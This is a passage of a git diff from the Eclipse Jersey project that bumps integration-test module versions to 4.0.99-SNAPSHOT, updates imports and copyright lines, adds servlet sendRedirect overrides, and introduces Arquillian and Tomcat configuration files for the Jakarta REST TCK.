             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/tests/integration/servlet-2.5-filter/pom.xml b/tests/integration/servlet-2.5-filter/pom.xml
index 4c1b516..a468add 100644
--- a/tests/integration/servlet-2.5-filter/pom.xml
+++ b/tests/integration/servlet-2.5-filter/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-filter</artifactId>
diff --git a/tests/integration/servlet-2.5-inflector-1/pom.xml b/tests/integration/servlet-2.5-inflector-1/pom.xml
index 3e9b3a9..5823e62 100644
--- a/tests/integration/servlet-2.5-inflector-1/pom.xml
+++ b/tests/integration/servlet-2.5-inflector-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-inflector-1</artifactId>
diff --git a/tests/integration/servlet-2.5-init-1/pom.xml b/tests/integration/servlet-2.5-init-1/pom.xml
index 85c8a56..8b9a069 100644
--- a/tests/integration/servlet-2.5-init-1/pom.xml
+++ b/tests/integration/servlet-2.5-init-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-1</artifactId>
diff --git a/tests/integration/servlet-2.5-init-2/pom.xml b/tests/integration/servlet-2.5-init-2/pom.xml
index 3d49904..cbbb873 100644
--- a/tests/integration/servlet-2.5-init-2/pom.xml
+++ b/tests/integration/servlet-2.5-init-2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-2</artifactId>
diff --git a/tests/integration/servlet-2.5-init-3/pom.xml b/tests/integration/servlet-2.5-init-3/pom.xml
index cb77660..8e9d32b 100644
--- a/tests/integration/servlet-2.5-init-3/pom.xml
+++ b/tests/integration/servlet-2.5-init-3/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-3</artifactId>
diff --git a/tests/integration/servlet-2.5-init-4/pom.xml b/tests/integration/servlet-2.5-init-4/pom.xml
index cf43ab4..f86f173 100644
--- a/tests/integration/servlet-2.5-init-4/pom.xml
+++ b/tests/integration/servlet-2.5-init-4/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-4</artifactId>
diff --git a/tests/integration/servlet-2.5-init-5/pom.xml b/tests/integration/servlet-2.5-init-5/pom.xml
index 746a9ea..c916494 100644
--- a/tests/integration/servlet-2.5-init-5/pom.xml
+++ b/tests/integration/servlet-2.5-init-5/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-5</artifactId>
diff --git a/tests/integration/servlet-2.5-init-6/pom.xml b/tests/integration/servlet-2.5-init-6/pom.xml
index 834d402..5d8b307 100644
--- a/tests/integration/servlet-2.5-init-6/pom.xml
+++ b/tests/integration/servlet-2.5-init-6/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-6</artifactId>
diff --git a/tests/integration/servlet-2.5-init-7/pom.xml b/tests/integration/servlet-2.5-init-7/pom.xml
index f389c49..8de66dc 100644
--- a/tests/integration/servlet-2.5-init-7/pom.xml
+++ b/tests/integration/servlet-2.5-init-7/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-7</artifactId>
diff --git a/tests/integration/servlet-2.5-init-8/pom.xml b/tests/integration/servlet-2.5-init-8/pom.xml
index 2136c32..164b8b6 100644
--- a/tests/integration/servlet-2.5-init-8/pom.xml
+++ b/tests/integration/servlet-2.5-init-8/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-8</artifactId>
diff --git a/tests/integration/servlet-2.5-mvc-1/pom.xml b/tests/integration/servlet-2.5-mvc-1/pom.xml
index 4616d42..281201f 100644
--- a/tests/integration/servlet-2.5-mvc-1/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-mvc-1</artifactId>
diff --git a/tests/integration/servlet-2.5-mvc-2/pom.xml b/tests/integration/servlet-2.5-mvc-2/pom.xml
index 0de5f1f..91b02f4 100644
--- a/tests/integration/servlet-2.5-mvc-2/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-mvc-2</artifactId>
diff --git a/tests/integration/servlet-2.5-mvc-3/pom.xml b/tests/integration/servlet-2.5-mvc-3/pom.xml
index cf94ea6..2461473 100644
--- a/tests/integration/servlet-2.5-mvc-3/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-3/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-mvc-3</artifactId>
diff --git a/tests/integration/servlet-2.5-reload/pom.xml b/tests/integration/servlet-2.5-reload/pom.xml
index 279350f..678eff4 100644
--- a/tests/integration/servlet-2.5-reload/pom.xml
+++ b/tests/integration/servlet-2.5-reload/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-reload</artifactId>
diff --git a/tests/integration/servlet-3-async/pom.xml b/tests/integration/servlet-3-async/pom.xml
index cdea9f1..d8602b3 100644
--- a/tests/integration/servlet-3-async/pom.xml
+++ b/tests/integration/servlet-3-async/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-async</artifactId>
diff --git a/tests/integration/servlet-3-chunked-io/pom.xml b/tests/integration/servlet-3-chunked-io/pom.xml
index 49d4cb6..5a53750 100644
--- a/tests/integration/servlet-3-chunked-io/pom.xml
+++ b/tests/integration/servlet-3-chunked-io/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-chunked-io</artifactId>
diff --git a/tests/integration/servlet-3-filter/pom.xml b/tests/integration/servlet-3-filter/pom.xml
index a7dbd3f..3612098 100644
--- a/tests/integration/servlet-3-filter/pom.xml
+++ b/tests/integration/servlet-3-filter/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-filter</artifactId>
diff --git a/tests/integration/servlet-3-gf-async/pom.xml b/tests/integration/servlet-3-gf-async/pom.xml
index 5d60547..9758162 100644
--- a/tests/integration/servlet-3-gf-async/pom.xml
+++ b/tests/integration/servlet-3-gf-async/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-gf-async</artifactId>
diff --git a/tests/integration/servlet-3-inflector-1/pom.xml b/tests/integration/servlet-3-inflector-1/pom.xml
index 41c3b16..378125d 100644
--- a/tests/integration/servlet-3-inflector-1/pom.xml
+++ b/tests/integration/servlet-3-inflector-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-inflector-1</artifactId>
diff --git a/tests/integration/servlet-3-init-1/pom.xml b/tests/integration/servlet-3-init-1/pom.xml
index 194f133..72b7943 100644
--- a/tests/integration/servlet-3-init-1/pom.xml
+++ b/tests/integration/servlet-3-init-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-1</artifactId>
diff --git a/tests/integration/servlet-3-init-2/pom.xml b/tests/integration/servlet-3-init-2/pom.xml
index 1bd444c..be40c0f 100644
--- a/tests/integration/servlet-3-init-2/pom.xml
+++ b/tests/integration/servlet-3-init-2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-2</artifactId>
diff --git a/tests/integration/servlet-3-init-3/pom.xml b/tests/integration/servlet-3-init-3/pom.xml
index f5c4b6d..d39f359 100644
--- a/tests/integration/servlet-3-init-3/pom.xml
+++ b/tests/integration/servlet-3-init-3/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-3</artifactId>
diff --git a/tests/integration/servlet-3-init-4/pom.xml b/tests/integration/servlet-3-init-4/pom.xml
index 80c33cb..99213e7 100644
--- a/tests/integration/servlet-3-init-4/pom.xml
+++ b/tests/integration/servlet-3-init-4/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-4</artifactId>
diff --git a/tests/integration/servlet-3-init-5/pom.xml b/tests/integration/servlet-3-init-5/pom.xml
index 6f3a387..574819d 100644
--- a/tests/integration/servlet-3-init-5/pom.xml
+++ b/tests/integration/servlet-3-init-5/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-5</artifactId>
diff --git a/tests/integration/servlet-3-init-6/pom.xml b/tests/integration/servlet-3-init-6/pom.xml
index ce34d7c..a3138d4 100644
--- a/tests/integration/servlet-3-init-6/pom.xml
+++ b/tests/integration/servlet-3-init-6/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-6</artifactId>
diff --git a/tests/integration/servlet-3-init-7/pom.xml b/tests/integration/servlet-3-init-7/pom.xml
index 6a36003..7fbdbb1 100644
--- a/tests/integration/servlet-3-init-7/pom.xml
+++ b/tests/integration/servlet-3-init-7/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-7</artifactId>
diff --git a/tests/integration/servlet-3-init-8/pom.xml b/tests/integration/servlet-3-init-8/pom.xml
index db5e92f..1a56097 100644
--- a/tests/integration/servlet-3-init-8/pom.xml
+++ b/tests/integration/servlet-3-init-8/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-8</artifactId>
diff --git a/tests/integration/servlet-3-init-9/pom.xml b/tests/integration/servlet-3-init-9/pom.xml
index 9754ed8..4b81fad 100644
--- a/tests/integration/servlet-3-init-9/pom.xml
+++ b/tests/integration/servlet-3-init-9/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-9</artifactId>
diff --git a/tests/integration/servlet-3-init-provider/pom.xml b/tests/integration/servlet-3-init-provider/pom.xml
index 9e37c0f..09c0d8f 100644
--- a/tests/integration/servlet-3-init-provider/pom.xml
+++ b/tests/integration/servlet-3-init-provider/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-provider</artifactId>
diff --git a/tests/integration/servlet-3-params/pom.xml b/tests/integration/servlet-3-params/pom.xml
index e21cbc0..5c4a33d 100644
--- a/tests/integration/servlet-3-params/pom.xml
+++ b/tests/integration/servlet-3-params/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-params</artifactId>
diff --git a/tests/integration/servlet-3-sse-1/pom.xml b/tests/integration/servlet-3-sse-1/pom.xml
index 25ee9f5..554d209 100644
--- a/tests/integration/servlet-3-sse-1/pom.xml
+++ b/tests/integration/servlet-3-sse-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-sse-1</artifactId>
diff --git a/tests/integration/servlet-4.0-mvc-1/pom.xml b/tests/integration/servlet-4.0-mvc-1/pom.xml
index 7b9f095..26913a7 100644
--- a/tests/integration/servlet-4.0-mvc-1/pom.xml
+++ b/tests/integration/servlet-4.0-mvc-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-4.0-mvc-1</artifactId>
diff --git a/tests/integration/servlet-request-wrapper-binding-2/pom.xml b/tests/integration/servlet-request-wrapper-binding-2/pom.xml
index 3a5ed71..773662d 100644
--- a/tests/integration/servlet-request-wrapper-binding-2/pom.xml
+++ b/tests/integration/servlet-request-wrapper-binding-2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-request-wrappper-binding-2</artifactId>
diff --git a/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java b/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
index e152f64..83ec8e7 100644
--- a/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
+++ b/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
@@ -1,6 +1,6 @@
 /*
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2022 Contributors to the Eclipse Foundation
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -55,9 +55,9 @@
 import jakarta.servlet.http.HttpSession;
 import jakarta.servlet.http.Part;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager;
 import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
 import org.glassfish.jersey.internal.util.collection.Ref;
@@ -308,6 +308,16 @@
                 }
 
                 @Override
+                public void sendRedirect(String location, int sc) throws IOException {
+                    getHttpServletResponse().sendRedirect(location, sc);
+                }
+
+                @Override
+                public void sendRedirect(String s, int i, boolean b) throws IOException {
+                    getHttpServletResponse().sendRedirect(s, i, b);
+                }
+
+                @Override
                 public void setDateHeader(String s, long l) {
                     getHttpServletResponse().setDateHeader(s, l);
                 }
diff --git a/tests/integration/servlet-request-wrapper-binding/pom.xml b/tests/integration/servlet-request-wrapper-binding/pom.xml
index 644f560..4307850 100644
--- a/tests/integration/servlet-request-wrapper-binding/pom.xml
+++ b/tests/integration/servlet-request-wrapper-binding/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-request-wrappper-binding</artifactId>
diff --git a/tests/integration/servlet-tests/pom.xml b/tests/integration/servlet-tests/pom.xml
index 417d910..e5904e1 100644
--- a/tests/integration/servlet-tests/pom.xml
+++ b/tests/integration/servlet-tests/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-tests</artifactId>
diff --git a/tests/integration/sonar-test/pom.xml b/tests/integration/sonar-test/pom.xml
index 87a9430..8711622 100644
--- a/tests/integration/sonar-test/pom.xml
+++ b/tests/integration/sonar-test/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sonar-test</artifactId>
diff --git a/tests/integration/spring6/pom.xml b/tests/integration/spring6/pom.xml
index 5b26bc5..8ef2e0e 100644
--- a/tests/integration/spring6/pom.xml
+++ b/tests/integration/spring6/pom.xml
@@ -25,7 +25,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>spring6</artifactId>
diff --git a/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java
index e0f0c99..dd88dda 100644
--- a/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java
+++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
 import jakarta.inject.Inject;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.PerLookup;
diff --git a/tests/integration/thin-server/pom.xml b/tests/integration/thin-server/pom.xml
index 9b3604b..a1eec94 100644
--- a/tests/integration/thin-server/pom.xml
+++ b/tests/integration/thin-server/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/tracing-support/pom.xml b/tests/integration/tracing-support/pom.xml
index a11659b..afe4a9b 100644
--- a/tests/integration/tracing-support/pom.xml
+++ b/tests/integration/tracing-support/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>tracing-support</artifactId>
@@ -65,6 +65,20 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-compiler-plugin</artifactId>
+<!--                <configuration>-->
+<!--                    &lt;!&ndash;-->
+<!--                    Since Jetty 11 for some reason is not possibly to properly set responseHeaderSize property-->
+<!--                    which should be jetty.response.header.size with adjusted value 16192. The property however-->
+<!--                    is never recognized by the plugin so resulting in the-->
+<!--                                    org.eclipse.jetty.http.BadMessageException: 500: Response header too large-->
+<!--                    exception. For this reason the test is being excluded.-->
+<!--                      &ndash;&gt;-->
+<!--                    <testExcludes>-->
+<!--                        <testExclude>-->
+<!--                            org/glassfish/jersey/tests/integration/tracing/AllTracingSupportITCase.java-->
+<!--                        </testExclude>-->
+<!--                    </testExcludes>-->
+<!--                </configuration>                -->
             </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
@@ -102,34 +116,4 @@
             </plugin>
         </plugins>
     </build>
-    <profiles>
-        <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <!--
-                            Since Jetty 11 for some reason is not possibly to properly set responseHeaderSize property
-                            which should be jetty.response.header.size with adjusted value 16192. The property however
-                            is never recognized by the plugin so resulting in the
-                                            org.eclipse.jetty.http.BadMessageException: 500: Response header too large
-                            exception. For this reason the test is being excluded.
-                              -->
-                            <testExcludes>
-                                <testExclude>
-                                    org/glassfish/jersey/tests/integration/tracing/AllTracingSupportITCase.java
-                                </testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
 </project>
diff --git a/tests/jersey-tck/arquillian.xml b/tests/jersey-tck/arquillian.xml
new file mode 100644
index 0000000..1db2f9c
--- /dev/null
+++ b/tests/jersey-tck/arquillian.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0"?>
+<!--
+
+    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+<arquillian xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns="http://jboss.org/schema/arquillian"
+            xsi:schemaLocation="http://jboss.org/schema/arquillian
+    http://jboss.org/schema/arquillian/arquillian_1_0.xsd">
+
+    <container qualifier="tomcat" default="true">
+        <configuration>
+            <property name="user">j2ee</property>
+            <property name="pass">j2ee</property>
+            <property name="debug">true</property>
+        </configuration>
+    </container>
+
+</arquillian>
\ No newline at end of file
diff --git a/tests/jersey-tck/pom.tomcat.xml b/tests/jersey-tck/pom.tomcat.xml
new file mode 100644
index 0000000..a6e71a9
--- /dev/null
+++ b/tests/jersey-tck/pom.tomcat.xml
@@ -0,0 +1,709 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!--
+
+    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <groupId>org.glassfish.jersey.core</groupId>
+    <artifactId>jersey-tck</artifactId>
+    <version>4.0.0</version>
+    <packaging>jar</packaging>
+
+    <name>Jakarta RESTful WS Compliance for Jersey</name>
+    <description>This test verifies the compliance of Eclipse Jersey with Jakarta REST</description>
+
+    <properties>
+        <maven.compiler.source>11</maven.compiler.source>
+        <maven.compiler.target>11</maven.compiler.target>
+        <jersey.version>4.0.99-SNAPSHOT</jersey.version> <!-- the public version that pass the tck -->
+        <tomcat.container.version>11.0.0-M18</tomcat.container.version>
+        <tomcat.home>${project.build.directory}/apache-tomcat-${tomcat.container.version}</tomcat.home>
+        <tomcat.modules>${tomcat.home}/lib</tomcat.modules>
+        <jakarta.platform.version>10.0.0</jakarta.platform.version>
+        <junit.jupiter.version>5.7.2</junit.jupiter.version>
+        <jakarta.rest.version>4.0.0</jakarta.rest.version>
+        <tck.artifactId>jakarta-restful-ws-tck</tck.artifactId>
+        <tck.version>4.0.0</tck.version>
+        <hk2.version>4.0.0-M1</hk2.version>
+        <mimepull.version>1.9.15</mimepull.version>
+    </properties>
+
+    <dependencyManagement>
+        <dependencies>
+            <dependency>
+                <groupId>org.junit</groupId>
+                <artifactId>junit-bom</artifactId>
+                <version>${junit.jupiter.version}</version>
+                <type>pom</type>
+                <scope>import</scope>
+            </dependency>
+            <dependency>
+                <groupId>org.glassfish.jersey</groupId>
+                <artifactId>jersey-bom</artifactId>
+                <version>${jersey.version}</version>
+                <type>pom</type>
+                <scope>import</scope>
+            </dependency>
+        </dependencies>
+    </dependencyManagement>
+
+    <repositories>
+        <repository>
+            <id>jakarta-snapshots</id>
+            <url>https://jakarta.oss.sonatype.org/content/repositories/staging/</url>
+        </repository>
+    </repositories>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter</artifactId>
+            <version>${junit.jupiter.version}</version>
+        </dependency>
+
